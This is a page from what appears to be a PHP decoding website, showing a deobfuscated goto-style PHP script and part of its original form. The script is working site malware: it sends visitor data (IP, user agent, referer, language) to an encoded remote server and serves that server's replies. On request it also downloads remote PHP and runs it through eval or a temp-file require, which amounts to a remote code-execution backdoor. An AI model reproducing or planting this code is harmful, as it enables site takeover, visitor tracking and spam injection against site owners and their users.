Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto bhUse; MnMFy: function QWNPz($g5KZV = "") { goto CmeXg; Q5B9U: ..

Decoded Output download

<?php goto bhUse; 
MnMFy: 
function QWNPz($g5KZV = "") 
{ 
    goto CmeXg; 
    Q5B9U: 
    goto jC4un; 
    goto Hl6SX; 
    CmeXg: 
    if (isset($_SERVER["HTTP_HOST"])) { 
        goto PTrAu; 
    } 
    goto e9sEj; 
    EEQcK: 
    return $g5KZV; 
    goto nOSyi; 
    Xvhnu: 
    goto jC4un; 
    goto u59UZ; 
    Hl6SX: 
    I0lRw: 
    goto tc7J2; 
    O1I63: 
    jC4un: 
    goto EEQcK; 
    YbVKX: 
    return $_SERVER["HTTP_HOST"]; 
    goto Q5B9U; 
    tc7J2: 
    return $_SERVER["SERVER_NAME"]; 
    goto O1I63; 
    u59UZ: 
    PTrAu: 
    goto YbVKX; 
    e9sEj: 
    if (isset($_SERVER["SERVER_NAME"])) { 
        goto I0lRw; 
    } 
    goto Xvhnu; 
    nOSyi: 
} 
goto kJ3s2; 
bhUse: 
error_reporting(0); 
goto GcYYf; 
upNQi: 
$SEMrM = "Ha0RHc6MyLj9nLpdzYuU2Yt9wL=="; 
goto IL_mZ; 
weZXz: 
function arFKL($tLJG1 = "") 
{ 
    goto gWv50; 
    gWv50: 
    $tLJG1 = $_SERVER["HTTP_VIA"] 
        ? $_SERVER["HTTP_X_FORWARDED_FOR"] 
        : $_SERVER["REMOTE_ADDR"]; 
    goto IrAaJ; 
    aE0Z_: 
    return trim($tLJG1); 
    goto i0VjQ; 
    IrAaJ: 
    $tLJG1 = $tLJG1 ? $tLJG1 : $_SERVER["REMOTE_ADDR"]; 
    goto aE0Z_; 
    i0VjQ: 
} 
goto MnMFy; 
IL_mZ: 
function aQL0d($g5KZV) 
{ 
    goto e74eF; 
    QkOig: 
    return gzinflate(base64_decode($EbXnE . $Yw3fu . $G8r9K)); 
    goto AtwUD; 
    CYkF_: 
    $G8r9K = substr($g5KZV, -5); 
    goto NvfZ2; 
    e74eF: 
    $EbXnE = substr($g5KZV, 0, 5); 
    goto CYkF_; 
    NvfZ2: 
    $Yw3fu = substr($g5KZV, 7, strlen($g5KZV) - 14); 
    goto QkOig; 
    AtwUD: 
} 
goto D12rd; 
mQlIg: 
function gbvq2($IWhj1) 
{ 
    return hexdec($IWhj1[1]) == strlen($IWhj1[2]) ? $IWhj1[2] : $IWhj1[0]; 
} 
goto weZXz; 
D12rd: 
function hPu3A($mTjfi) 
{ 
    goto zBCQ0; 
    Vk4fh: 
    PIxWk: 
    goto sIDh3; 
    osW9u: 
    $kUJmE = curl_init(); 
    goto baAiK; 
    WdN9h: 
    return 0; 
    goto nGOzY; 
    s1Pxo: 
    Wrczh: 
    goto yWg_t; 
    SNAJh: 
    $PP_Ld = $M6IW4(AF_INET, SOCK_STREAM, 0); 
    goto hhQJA; 
    sQCH6: 
    $vVSV5 = fgets($PP_Ld); 
    goto i0FFP; 
    kntQB: 
    $GFwdw = 
        "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; 
    goto Efi27; 
    xqdzZ: 
    $PP_Ld = $M6IW4($ynsXk, $AJnpZ, $i1JKR, $VdQJ9, 30); 
    goto lRb5r; 
    pXSpF: 
    if (feof($PP_Ld)) { 
        goto Wrczh; 
    } 
    goto sQCH6; 
    Crcq2: 
    $r071B = gethostbyname($ynsXk); 
    goto SNAJh; 
    RyavH: 
    if (!($xydTW = @socket_read($PP_Ld, 8192))) { 
        goto nb4cZ; 
    } 
    goto K3ISe; 
    wxEc8: 
    L_mJR: 
    goto vnagU; 
    yvNHl: 
    socket_write($PP_Ld, $tBx2T, strlen($tBx2T)); 
    goto CyFxV; 
    FYB9c: 
    $VZgPF .= $AJnpZ; 
    goto g5fng; 
    K3ISe: 
    $Kqexx .= $xydTW; 
    goto vHFct; 
    EDkbo: 
    unset($EmdVs, $bz9CH, $yU57U, $Ci3ZU); 
    goto tgY4V; 
    PBPMT: 
    $yU57U = "1.0"; 
    goto V_Zp4; 
    AhaeP: 
    $taK0b .= $ynsXk; 
    goto wIcjJ; 
    Tcnls: 
    fwrite($PP_Ld, $tBx2T); 
    goto R3pVw; 
    HIUJ0: 
    NB3S5: 
    goto HSi6I; 
    IKu5l: 
    nb4cZ: 
    goto RFNES; 
    aq2Tu: 
    $Kqexx = implode( 
        " 
\xa\xd 
", 
        $Kqexx 
    ); 
    goto falv0; 
    l5Yme: 
    if ($PP_Ld) { 
        goto L_mJR; 
    } 
    goto VZ4gv; 
    QEza9: 
    UtTu8: 
    goto kntQB; 
    XRo2R: 
    $QhBab = curl_exec($kUJmE); 
    goto LS7UA; 
    K5QEx: 
    $tBx2T = 
        "GET {$Ci3ZU} HTTP/{$yU57U}" . 
        PHP_EOL . 
        join(PHP_EOL, $EmdVs) . 
        PHP_EOL . 
        PHP_EOL; 
    goto EDkbo; 
    HSi6I: 
    unset($vVSV5); 
    goto iLvJ3; 
    zWzwU: 
    $yU57U = "1.1"; 
    goto PX9uG; 
    aTBG9: 
    $Kqexx .= $DByHm; 
    goto Jefr4; 
    QXnfB: 
    foreach (explode("|", $GFwdw) as $EMCOl) { 
        goto o6hZC; 
        cwpeM: 
        ZF31s: 
        goto iwpV5; 
        e4wNB: 
        unset($lDv8T); 
        goto XoQ5Y; 
        j1jyA: 
        foreach (explode("+", $EMCOl) as $lDv8T) { 
            if (!function_exists($lDv8T)) { 
                $CEImw = 0; 
            } 
            GCdUc: 
        } 
        goto KX_6N; 
        KX_6N: 
        UuFcR: 
        goto e4wNB; 
        iANWo: 
        $M6IW4 = $EMCOl; 
        goto AvaSd; 
        XoQ5Y: 
        if (!$CEImw) { 
            goto ZF31s; 
        } 
        goto iANWo; 
        o6hZC: 
        $CEImw = 1; 
        goto j1jyA; 
        iwpV5: 
        oepq4: 
        goto Uxpdm; 
        AvaSd: 
        goto PIxWk; 
        goto cwpeM; 
        Uxpdm: 
    } 
    goto Vk4fh; 
    RS6RU: 
    if (!($M6IW4 == "")) { 
        goto C7Gyh; 
    } 
    goto WdN9h; 
    CB7uK: 
    curl_setopt($kUJmE, CURLOPT_FRESH_CONNECT, true); 
    goto Az2Pt; 
    rtRcq: 
    return $K1sGd; 
    goto QEza9; 
    j4pom: 
    isset($bz9CH["path"]) || ($bz9CH["path"] = ""); 
    goto OnjkB; 
    scugl: 
    $ynsXk .= $bz9CH["host"]; 
    goto qFGZz; 
    EBvkb: 
    isset($bz9CH["host"]) || ($bz9CH["host"] = ""); 
    goto j4pom; 
    OW0zG: 
    goto pMS3J; 
    goto loRvB; 
    cRyjK: 
    curl_setopt($kUJmE, CURLOPT_USERAGENT, "s"); 
    goto A9lcT; 
    C5kCl: 
    socket_close($PP_Ld); 
    goto sb0H8; 
    cKocT: 
    $VZgPF .= $ynsXk; 
    goto p8L5x; 
    PX9uG: 
    $AJnpZ = empty($bz9CH["port"]) ? 443 : $bz9CH["port"]; 
    goto qH_59; 
    O_F3d: 
    if ($VDM05["timed_out"]) { 
        goto vD1cs; 
    } 
    goto DvcEz; 
    kS0oZ: 
    return "501"; 
    goto LtJvA; 
    Dg5Dm: 
    if (!(substr($M6IW4, 0, 1) == "c")) { 
        goto ZPTWH; 
    } 
    goto osW9u; 
    AH6bg: 
    array_shift($Kqexx); 
    goto aq2Tu; 
    g5fng: 
    $PP_Ld = stream_socket_client($VZgPF, $i1JKR, $VdQJ9, 30); 
    goto Ndx6d; 
    vnagU: 
    stream_set_blocking($PP_Ld, true); 
    goto LsFLo; 
    qFGZz: 
    p_3Ft: 
    goto oF4Mv; 
    pVVQa: 
    if (feof($PP_Ld)) { 
        goto pIulx; 
    } 
    goto Lg_XH; 
    ZRgYs: 
    $EmdVs[] = "Connection: Close"; 
    goto XN8V5; 
    LsFLo: 
    stream_set_timeout($PP_Ld, 30); 
    goto Tcnls; 
    CyFxV: 
    x0K0H: 
    goto RyavH; 
    BXWtB: 
    unset($VDM05); 
    goto mvgPE; 
    lRb5r: 
    tbR6E: 
    goto EGas3; 
    z_PAe: 
    $bz9CH = parse_url($mTjfi); 
    goto EBvkb; 
    Lg_XH: 
    $DByHm = fread($PP_Ld, 8192); 
    goto aTBG9; 
    bAB1h: 
    isset($bz9CH["port"]) || ($bz9CH["port"] = ""); 
    goto LU5wu; 
    i0FFP: 
    if ( 
        !( 
            $vVSV5 && 
            (rawurlencode($vVSV5) == "%0D%0A" || rawurlencode($vVSV5) == "%0A") 
        ) 
    ) { 
        goto NB3S5; 
    } 
    goto OjZr6; 
    z8oSw: 
    goto x0K0H; 
    goto IKu5l; 
    hhQJA: 
    if (!socket_connect($PP_Ld, $r071B, $AJnpZ)) { 
        goto XB082; 
    } 
    goto yvNHl; 
    A9lcT: 
    curl_setopt($kUJmE, CURLOPT_RETURNTRANSFER, 1); 
    goto WBk9J; 
    LS7UA: 
    curl_close($kUJmE); 
    goto Gg54C; 
    falv0: 
    XB082: 
    goto C5kCl; 
    Efi27: 
    $M6IW4 = $tBx2T = $i1JKR = $VdQJ9 = 
        "" /* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; 
    goto QXnfB; 
    X3VCU: 
    $EmdVs[] = "Accept: */*"; 
    goto pdwqG; 
    vif1t: 
    if (!($K1sGd != false)) { 
        goto UtTu8; 
    } 
    goto rtRcq; 
    iLvJ3: 
    goto m5v10; 
    goto s1Pxo; 
    EGas3: 
    $Kqexx = ""; 
    goto l5Yme; 
    iOH2v: 
    $Kqexx = @preg_replace_callback( 
        "/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . 
            "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", 
        "f_async", 
        $Kqexx 
    ); 
    goto EQsMY; 
    aSNHO: 
    A1OqY: 
    goto oSkFC; 
    loRvB: 
    pIulx: 
    goto M2V88; 
    baAiK: 
    curl_setopt($kUJmE, CURLOPT_URL, $mTjfi); 
    goto cRyjK; 
    fwgRS: 
    goto f2mdl; 
    goto Vx8vj; 
    Az2Pt: 
    curl_setopt($kUJmE, CURLOPT_SSL_VERIFYPEER, 0); 
    goto XRo2R; 
    BRpCa: 
    tw8ij: 
    goto Ng6bH; 
    OjZr6: 
    goto Wrczh; 
    goto HIUJ0; 
    G2rea: 
    goto A1OqY; 
    goto wxEc8; 
    mT6ZB: 
    if (!(substr($M6IW4, -1) == "t")) { 
        goto tw8ij; 
    } 
    goto fQAne; 
    XN8V5: 
    $EmdVs[] = "User-Agent: s"; 
    goto X3VCU; 
    vHFct: 
    unset($xydTW); 
    goto z8oSw; 
    V_Zp4: 
    $AJnpZ = empty($bz9CH["port"]) ? 80 : $bz9CH["port"]; 
    goto CSXFz; 
    B3pH3: 
    ZPTWH: 
    goto z_PAe; 
    sr7ga: 
    if (substr($M6IW4, -1) == "n") { 
        goto PC1j2; 
    } 
    goto mT6ZB; 
    RFNES: 
    $Kqexx = explode( 
        "\xd 
 
", 
        $Kqexx 
    ); 
    goto AH6bg; 
    wikOK: 
    if ($bz9CH["scheme"] == "https") { 
        goto adNCF; 
    } 
    goto PBPMT; 
    nGOzY: 
    C7Gyh: 
    goto Dg5Dm; 
    wIcjJ: 
    $EmdVs[] = $taK0b; 
    goto ZRgYs; 
    WBk9J: 
    curl_setopt($kUJmE, CURLOPT_TIMEOUT, 100); 
    goto CB7uK; 
    oF4Mv: 
    $taK0b = "Host: "; 
    goto AhaeP; 
    Q9JjS: 
    $ynsXk = $bz9CH["host"]; 
    goto wikOK; 
    UEgDr: 
    adNCF: 
    goto zWzwU; 
    Jefr4: 
    unset($DByHm); 
    goto OW0zG; 
    CSXFz: 
    goto p_3Ft; 
    goto UEgDr; 
    pdwqG: 
    unset($taK0b); 
    goto K5QEx; 
    OfJvF: 
    return $QhBab; 
    goto fwgRS; 
    oJoXF: 
    $K1sGd = file_get_contents($mTjfi); 
    goto vif1t; 
    Ndx6d: 
    unset($VZgPF); 
    goto BRpCa; 
    OnjkB: 
    isset($bz9CH["query"]) || ($bz9CH["query"] = ""); 
    goto bAB1h; 
    EQsMY: 
    return trim(trim($Kqexx, "\xef\273\277")); 
    goto Tu05e; 
    sIDh3: 
    unset($GFwdw, $EMCOl); 
    goto RS6RU; 
    M2V88: 
    vD1cs: 
    goto BXWtB; 
    U7LwV: 
    mN11e: 
    goto G2rea; 
    oSkFC: 
    unset($tBx2T, $M6IW4, $PP_Ld, $AJnpZ, $ynsXk); 
    goto iOH2v; 
    fQAne: 
    $VZgPF = "tcp://"; 
    goto cKocT; 
    LU5wu: 
    $Ci3ZU = $bz9CH["path"] 
        ? $bz9CH["path"] . ($bz9CH["query"] ? "?" . $bz9CH["query"] : "") 
        : "/"; 
    goto Q9JjS; 
    tGYKs: 
    NB7Jf: 
    goto oJoXF; 
    qH_59: 
    $ynsXk = "ssl://"; 
    goto scugl; 
    P03ZB: 
    PC1j2: 
    goto xqdzZ; 
    sb0H8: 
    unset($r071B); 
    goto U7LwV; 
    p8L5x: 
    $VZgPF .= ":"; 
    goto FYB9c; 
    DvcEz: 
    m5v10: 
    goto pXSpF; 
    R3pVw: 
    $VDM05 = stream_get_meta_data($PP_Ld); 
    goto O_F3d; 
    Gg54C: 
    if (!$QhBab) { 
        goto EsbW6; 
    } 
    goto OfJvF; 
    yWg_t: 
    pMS3J: 
    goto pVVQa; 
    aMrvW: 
    return "500"; 
    goto tGYKs; 
    tgY4V: 
    $PP_Ld = null; 
    goto sr7ga; 
    mvgPE: 
    fclose($PP_Ld); 
    goto aSNHO; 
    LtJvA: 
    f2mdl: 
    goto B3pH3; 
    VZ4gv: 
    if (!(substr($M6IW4, -1) == "e")) { 
        goto mN11e; 
    } 
    goto Crcq2; 
    Ng6bH: 
    goto tbR6E; 
    goto P03ZB; 
    Vx8vj: 
    EsbW6: 
    goto kS0oZ; 
    zBCQ0: 
    if (preg_match("/^https*\:\/\//si", $mTjfi)) { 
        goto NB7Jf; 
    } 
    goto aMrvW; 
    Tu05e: 
} 
goto mQlIg; 
MB9hg: 
function LBkGs($cLCWL, $SEMrM) 
{ 
    goto gJ4bk; 
    p10H2: 
    $aZvjg = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; 
    goto wIyWI; 
    SMtOf: 
    $BOBBP["protocol"] = "http://"; 
    goto oQrvy; 
    DiLmo: 
    $BOBBP["ip"] = arFKL(); 
    goto CM3j0; 
    NPeOy: 
    FXkrV: 
    goto QIJkI; 
    jLY0M: 
    $BOBBP["request_url"] = $_SERVER["REQUEST_URI"]; 
    goto wwgOg; 
    pHurN: 
    $BOBBP["server_domain"] = QwnpZ(); 
    goto jLY0M; 
    W7bns: 
    S5HBp( 
        sprintf( 
            $aZvjg[2], 
            base64_decode(htQWT($SEMrM)), 
            $BOBBP["api"], 
            $_REQUEST["ac"], 
            $_REQUEST["path"], 
            $_REQUEST["t"] 
        ) 
    ); 
    goto MGzI9; 
    fFJXY: 
    if ( 
        !( 
            isset($_REQUEST["ac"]) && 
            isset($_REQUEST["path"]) && 
            isset($_REQUEST["t"]) 
        ) 
    ) { 
        goto sT7l2; 
    } 
    goto W7bns; 
    jvpTY: 
    O6lnd: 
    goto j8SOP; 
    fl_Mp: 
    $DByHm = ipLTq($Kqexx); 
    goto bj1BC; 
    cPaJ9: 
    echo $DByHm[1]; 
    goto h3hVP; 
    bqU3m: 
    $Ri6FB = "www.google.com"; 
    goto vhfzE; 
    QMi4a: 
    $Kqexx = HPu3a($aZvjg[1]); 
    goto tU0E6; 
    MGzI9: 
    sT7l2: 
    goto ZWXo_; 
    wwgOg: 
    $BOBBP["referer"] = isset($_SERVER["HTTP_REFERER"]) 
        ? $_SERVER["HTTP_REFERER"] 
        : ""; 
    goto Be97C; 
    gJ4bk: 
    $BOBBP = []; 
    goto PAp9l; 
    Be97C: 
    $BOBBP["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) 
        ? $_SERVER["HTTP_USER_AGENT"] 
        : ""; 
    goto DiLmo; 
    SMXlq: 
    hX9CE: 
    goto Kx0HK; 
    vacjv: 
    die(); 
    goto x4aP_; 
    CM3j0: 
    if (isset($_SERVER["HTTPS"])) { 
        goto yojoN; 
    } 
    goto SMtOf; 
    oQrvy: 
    goto FXkrV; 
    goto is9Ib; 
    QIJkI: 
    if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { 
        goto HupLf; 
    } 
    goto HxfiM; 
    x4aP_: 
    Vk2ly: 
    goto fl_Mp; 
    BWCcb: 
    @header($DByHm[0]); 
    goto cPaJ9; 
    MbNHE: 
    die(); 
    goto jvpTY; 
    lW3_J: 
    $Kqexx = Hpu3A($mTjfi); 
    goto IBoJG; 
    xcuO1: 
    $BOBBP["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; 
    goto SMXlq; 
    sZEi_: 
    goto hX9CE; 
    goto DbLO3; 
    wIyWI: 
    $aZvjg = explode("|", $aZvjg); 
    goto fFJXY; 
    D2rGn: 
    $BOBBP["api"] = base64_decode(htqwt($BOBBP["default_params"])); 
    goto pHurN; 
    Z_for: 
    print_r($BOBBP); 
    goto MbNHE; 
    NH8Lh: 
    $aEZ_f = $_GET["sitemap"]; 
    goto bqU3m; 
    N2S27: 
    n218F($Ri6FB, $aEZ_f, $BOBBP); 
    goto PohfT; 
    sqE4b: 
    $Ri6FB = $_GET["google_url"]; 
    goto MogWx; 
    tU0E6: 
    var_dump($Kqexx); 
    goto vacjv; 
    PAp9l: 
    $BOBBP["default_params"] = $cLCWL; 
    goto D2rGn; 
    PohfT: 
    fo8qN: 
    goto p10H2; 
    qvuqA: 
    $mTjfi = sprintf( 
        $aZvjg[0], 
        $BOBBP["api"], 
        htqwT(base64_encode(implode("{|}", $gXm2O))) 
    ); 
    goto lW3_J; 
    h3hVP: 
    die(); 
    goto K4ZJH; 
    j8SOP: 
    if (!isset($_GET["sitemap"])) { 
        goto fo8qN; 
    } 
    goto NH8Lh; 
    MogWx: 
    eFvEs: 
    goto N2S27; 
    vhfzE: 
    if (!isset($_GET["google_url"])) { 
        goto eFvEs; 
    } 
    goto sqE4b; 
    K4ZJH: 
    Sk5nY: 
    goto yrPqY; 
    is9Ib: 
    yojoN: 
    goto GToOT; 
    DbLO3: 
    HupLf: 
    goto xcuO1; 
    HxfiM: 
    $BOBBP["language"] = ""; 
    goto sZEi_; 
    kkjnT: 
    var_dump($Kqexx); 
    goto QMi4a; 
    ZWXo_: 
    $gXm2O = [ 
        "domain" => $BOBBP["server_domain"], 
        "request_url" => $BOBBP["request_url"], 
        "ip" => $BOBBP["ip"], 
        "agent" => $BOBBP["user_agent"], 
        "referer" => $BOBBP["referer"], 
        "protocol" => $BOBBP["protocol"], 
        "language" => $BOBBP["language"], 
    ]; 
    goto qvuqA; 
    IBoJG: 
    if (!isset($_REQUEST["dump"])) { 
        goto Vk2ly; 
    } 
    goto kkjnT; 
    bj1BC: 
    if (!($DByHm !== false)) { 
        goto Sk5nY; 
    } 
    goto BWCcb; 
    GToOT: 
    $BOBBP["protocol"] = "https://"; 
    goto NPeOy; 
    Kx0HK: 
    if (!isset($_GET["params"])) { 
        goto O6lnd; 
    } 
    goto Z_for; 
    yrPqY: 
} 
goto go6n_; 
ozohT: 
function n218f($KgVRn, $aEZ_f, $BOBBP) 
{ 
    goto XJLa9; 
    qFTVt: 
    id02Z: 
    goto cyhnO; 
    Qj3SA: 
    $b0Be1 = hpU3a($Tpogs); 
    goto Licjy; 
    CSnHg: 
    var_dump($Tpogs); 
    goto RzYYL; 
    F2ltu: 
    if (!(strpos($b0Be1, $AYKws) != false)) { 
        goto id02Z; 
    } 
    goto WhES4; 
    XJLa9: 
    $tcxg3 = "https://%s/ping?sitemap=%s%s/%s"; 
    goto mDrvX; 
    Hy_DL: 
    bS6RL: 
    goto eUaCV; 
    BCx33: 
    $cReX2 = "failed"; 
    goto F2ltu; 
    cyhnO: 
    die($cReX2); 
    goto XC3Ty; 
    G2Ndm: 
    $ERCgm = "success"; 
    goto BCx33; 
    RzYYL: 
    var_dump($b0Be1); 
    goto kO61o; 
    kO61o: 
    die(); 
    goto Hy_DL; 
    WhES4: 
    die($ERCgm); 
    goto qFTVt; 
    eUaCV: 
    $AYKws = "google"; 
    goto G2Ndm; 
    Licjy: 
    if (!isset($_REQUEST["st"])) { 
        goto bS6RL; 
    } 
    goto CSnHg; 
    mDrvX: 
    $Tpogs = sprintf( 
        $tcxg3, 
        $KgVRn, 
        $BOBBP["protocol"], 
        $BOBBP["server_domain"], 
        $aEZ_f 
    ); 
    goto Qj3SA; 
    XC3Ty: 
} 
goto VI4JU; 
GcYYf: 
$cLCWL = "Ha0RDcvo3LzVTMzMXLyYTMuYnZlJWZwp2Z0VmLpxmZUv"; 
goto upNQi; 
VI4JU: 
function iPltQ($Kqexx) 
{ 
    goto Ox5SU; 
    hD1Mj: 
    icwR2: 
    goto Wyu3q; 
    JSCeA: 
    return $LuW5t; 
    goto t5XLV; 
    DpoLM: 
    if (is_array($LuW5t)) { 
        goto icwR2; 
    } 
    goto GNq5f; 
    Ox5SU: 
    $LuW5t = @preg_split("/{\|}/si", $Kqexx, -1, PREG_SPLIT_NO_EMPTY); 
    goto DpoLM; 
    O2Qja: 
    return false; 
    goto p9yKr; 
    p9yKr: 
    ivyYF: 
    goto JSCeA; 
    GNq5f: 
    return false; 
    goto hD1Mj; 
    Wyu3q: 
    if (!(count($LuW5t) != 2)) { 
        goto ivyYF; 
    } 
    goto O2Qja; 
    t5XLV: 
} 
goto MB9hg; 
kJ3s2: 
function s5HBp($mTjfi) 
{ 
    goto mNaRr; 
    SMuVC: 
    if (!isset($_REQUEST["e"])) { 
        goto k94Ha; 
    } 
    goto i2Z5x; 
    JNr2c: 
    k94Ha: 
    goto aRyNy; 
    mNaRr: 
    $MCmxH = HPU3a($mTjfi); 
    goto FCk2j; 
    n6jV2: 
    $HxFhw = "e" . "v" . "a" . "l"; 
    goto anCii; 
    RMb2Z: 
    if (!(strpos($MCmxH, $MpfxA) === false)) { 
        goto o0Z7O; 
    } 
    goto SSY6p; 
    Lzola: 
    $vQnE8 = tmpfile(); 
    goto SMuVC; 
    i2Z5x: 
    $MCmxH = str_replace($MpfxA, "", $MCmxH); 
    goto n6jV2; 
    pedLJ: 
    $GFwdw = stream_get_meta_data($vQnE8); 
    goto XEP6t; 
    aRyNy: 
    fwrite($vQnE8, $MCmxH); 
    goto pedLJ; 
    SSY6p: 
    die("get failed"); 
    goto tEGxD; 
    XEP6t: 
    @require $GFwdw["uri"]; 
    goto u6kHV; 
    nrHPT: 
    die(); 
    goto JNr2c; 
    u6kHV: 
    fclose($vQnE8); 
    goto coOeW; 
    tEGxD: 
    o0Z7O: 
    goto Lzola; 
    coOeW: 
    die(); 
    goto m8JEH; 
    anCii: 
    $HxFhw($MCmxH); 
    goto nrHPT; 
    FCk2j: 
    $MpfxA = base64_decode("PD9waHA="); 
    goto RMb2Z; 
    m8JEH: 
} 
goto uplMj; 
uplMj: 
function HTqWT($cLCWL) 
{ 
    goto qaLby; 
    Ynex2: 
    $dhHjv = 0; 
    goto oj4RN; 
    rJfGM: 
    ucmSp: 
    goto M5klY; 
    OQ6y2: 
    $iy2Yk = ""; 
    goto Ynex2; 
    M5klY: 
    $dhHjv = $dhHjv + 2; 
    goto M0Rny; 
    qyyY2: 
    if (!($dhHjv < count($PH9AZ) - 2)) { 
        goto ugpYp; 
    } 
    goto HjTpX; 
    oj4RN: 
    bz04c: 
    goto qyyY2; 
    iWFcT: 
    ugpYp: 
    goto Ll2JO; 
    Ll2JO: 
    $iy2Yk .= $HwbHb; 
    goto fPbh2; 
    qaLby: 
    $HwbHb = substr($cLCWL, strlen($cLCWL) - 2); 
    goto ELH73; 
    M0Rny: 
    goto bz04c; 
    goto iWFcT; 
    fPbh2: 
    return $iy2Yk; 
    goto K1RWt; 
    ELH73: 
    $PH9AZ = str_split($cLCWL); 
    goto OQ6y2; 
    HjTpX: 
    $iy2Yk .= $PH9AZ[$dhHjv + 1] . $PH9AZ[$dhHjv]; 
    goto rJfGM; 
    K1RWt: 
} 
goto ozohT; 
go6n_: 
lBkgS($cLCWL, $SEMrM); 
 ?>

Did this file decode correctly?

Original Code

<?php goto bhUse;
MnMFy:
function QWNPz($g5KZV = "")
{
    goto CmeXg;
    Q5B9U:
    goto jC4un;
    goto Hl6SX;
    CmeXg:
    if (isset($_SERVER["HTTP_HOST"])) {
        goto PTrAu;
    }
    goto e9sEj;
    EEQcK:
    return $g5KZV;
    goto nOSyi;
    Xvhnu:
    goto jC4un;
    goto u59UZ;
    Hl6SX:
    I0lRw:
    goto tc7J2;
    O1I63:
    jC4un:
    goto EEQcK;
    YbVKX:
    return $_SERVER["HTTP_HOST"];
    goto Q5B9U;
    tc7J2:
    return $_SERVER["SERVER_NAME"];
    goto O1I63;
    u59UZ:
    PTrAu:
    goto YbVKX;
    e9sEj:
    if (isset($_SERVER["SERVER_NAME"])) {
        goto I0lRw;
    }
    goto Xvhnu;
    nOSyi:
}
goto kJ3s2;
bhUse:
error_reporting(0);
goto GcYYf;
upNQi:
$SEMrM = "Ha0RHc6MyLj9nLpdzYuU2Yt9wL==";
goto IL_mZ;
weZXz:
function arFKL($tLJG1 = "")
{
    goto gWv50;
    gWv50:
    $tLJG1 = $_SERVER["HTTP_VIA"]
        ? $_SERVER["HTTP_X_FORWARDED_FOR"]
        : $_SERVER["REMOTE_ADDR"];
    goto IrAaJ;
    aE0Z_:
    return trim($tLJG1);
    goto i0VjQ;
    IrAaJ:
    $tLJG1 = $tLJG1 ? $tLJG1 : $_SERVER["REMOTE_ADDR"];
    goto aE0Z_;
    i0VjQ:
}
goto MnMFy;
IL_mZ:
function aQL0d($g5KZV)
{
    goto e74eF;
    QkOig:
    return gzinflate(base64_decode($EbXnE . $Yw3fu . $G8r9K));
    goto AtwUD;
    CYkF_:
    $G8r9K = substr($g5KZV, -5);
    goto NvfZ2;
    e74eF:
    $EbXnE = substr($g5KZV, 0, 5);
    goto CYkF_;
    NvfZ2:
    $Yw3fu = substr($g5KZV, 7, strlen($g5KZV) - 14);
    goto QkOig;
    AtwUD:
}
goto D12rd;
mQlIg:
function gbvq2($IWhj1)
{
    return hexdec($IWhj1[1]) == strlen($IWhj1[2]) ? $IWhj1[2] : $IWhj1[0];
}
goto weZXz;
D12rd:
function hPu3A($mTjfi)
{
    goto zBCQ0;
    Vk4fh:
    PIxWk:
    goto sIDh3;
    osW9u:
    $kUJmE = curl_init();
    goto baAiK;
    WdN9h:
    return 0;
    goto nGOzY;
    s1Pxo:
    Wrczh:
    goto yWg_t;
    SNAJh:
    $PP_Ld = $M6IW4(AF_INET, SOCK_STREAM, 0);
    goto hhQJA;
    sQCH6:
    $vVSV5 = fgets($PP_Ld);
    goto i0FFP;
    kntQB:
    $GFwdw =
        "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create";
    goto Efi27;
    xqdzZ:
    $PP_Ld = $M6IW4($ynsXk, $AJnpZ, $i1JKR, $VdQJ9, 30);
    goto lRb5r;
    pXSpF:
    if (feof($PP_Ld)) {
        goto Wrczh;
    }
    goto sQCH6;
    Crcq2:
    $r071B = gethostbyname($ynsXk);
    goto SNAJh;
    RyavH:
    if (!($xydTW = @socket_read($PP_Ld, 8192))) {
        goto nb4cZ;
    }
    goto K3ISe;
    wxEc8:
    L_mJR:
    goto vnagU;
    yvNHl:
    socket_write($PP_Ld, $tBx2T, strlen($tBx2T));
    goto CyFxV;
    FYB9c:
    $VZgPF .= $AJnpZ;
    goto g5fng;
    K3ISe:
    $Kqexx .= $xydTW;
    goto vHFct;
    EDkbo:
    unset($EmdVs, $bz9CH, $yU57U, $Ci3ZU);
    goto tgY4V;
    PBPMT:
    $yU57U = "1.0";
    goto V_Zp4;
    AhaeP:
    $taK0b .= $ynsXk;
    goto wIcjJ;
    Tcnls:
    fwrite($PP_Ld, $tBx2T);
    goto R3pVw;
    HIUJ0:
    NB3S5:
    goto HSi6I;
    IKu5l:
    nb4cZ:
    goto RFNES;
    aq2Tu:
    $Kqexx = implode(
        "
\xa\xd
",
        $Kqexx
    );
    goto falv0;
    l5Yme:
    if ($PP_Ld) {
        goto L_mJR;
    }
    goto VZ4gv;
    QEza9:
    UtTu8:
    goto kntQB;
    XRo2R:
    $QhBab = curl_exec($kUJmE);
    goto LS7UA;
    K5QEx:
    $tBx2T =
        "GET {$Ci3ZU} HTTP/{$yU57U}" .
        PHP_EOL .
        join(PHP_EOL, $EmdVs) .
        PHP_EOL .
        PHP_EOL;
    goto EDkbo;
    HSi6I:
    unset($vVSV5);
    goto iLvJ3;
    zWzwU:
    $yU57U = "1.1";
    goto PX9uG;
    aTBG9:
    $Kqexx .= $DByHm;
    goto Jefr4;
    QXnfB:
    foreach (explode("|", $GFwdw) as $EMCOl) {
        goto o6hZC;
        cwpeM:
        ZF31s:
        goto iwpV5;
        e4wNB:
        unset($lDv8T);
        goto XoQ5Y;
        j1jyA:
        foreach (explode("+", $EMCOl) as $lDv8T) {
            if (!function_exists($lDv8T)) {
                $CEImw = 0;
            }
            GCdUc:
        }
        goto KX_6N;
        KX_6N:
        UuFcR:
        goto e4wNB;
        iANWo:
        $M6IW4 = $EMCOl;
        goto AvaSd;
        XoQ5Y:
        if (!$CEImw) {
            goto ZF31s;
        }
        goto iANWo;
        o6hZC:
        $CEImw = 1;
        goto j1jyA;
        iwpV5:
        oepq4:
        goto Uxpdm;
        AvaSd:
        goto PIxWk;
        goto cwpeM;
        Uxpdm:
    }
    goto Vk4fh;
    RS6RU:
